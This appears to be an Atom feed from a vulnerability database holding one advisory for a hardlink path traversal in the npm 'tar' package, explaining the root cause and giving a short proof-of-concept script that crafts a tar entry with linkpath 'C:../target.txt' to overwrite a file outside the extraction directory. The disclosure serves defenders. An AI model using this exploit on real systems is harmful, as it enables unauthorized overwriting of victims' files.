<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-05T11:38:55.317350+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-qffp-2rhf-9h96</id>
    <title>GHSA-qffp-2rhf-9h96 — tar has Hardlink Path Traversal via Drive-Relative Linkpath</title>
    <updated>2026-10-05T11:38:55.319787+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: tar</p>
<p>### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.</p>
<p>### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.</p>
<p>What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.</p>
<p>This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.</p>
<p>### PoC
Tested on Arch Linux with `tar@7.5.9`.</p>
<p>PoC script (`poc.cjs`):</p>
<p>```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')</p>
<p>const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')</p>
<p>fs.writeFileSync(target, 'ORIGINAL\n')</p>
<p>const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)</p>
<p>x({ cwd, file: tarFile }).then(() =&gt; {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-qffp-2rhf-9h96"/>
  </entry>
</feed>
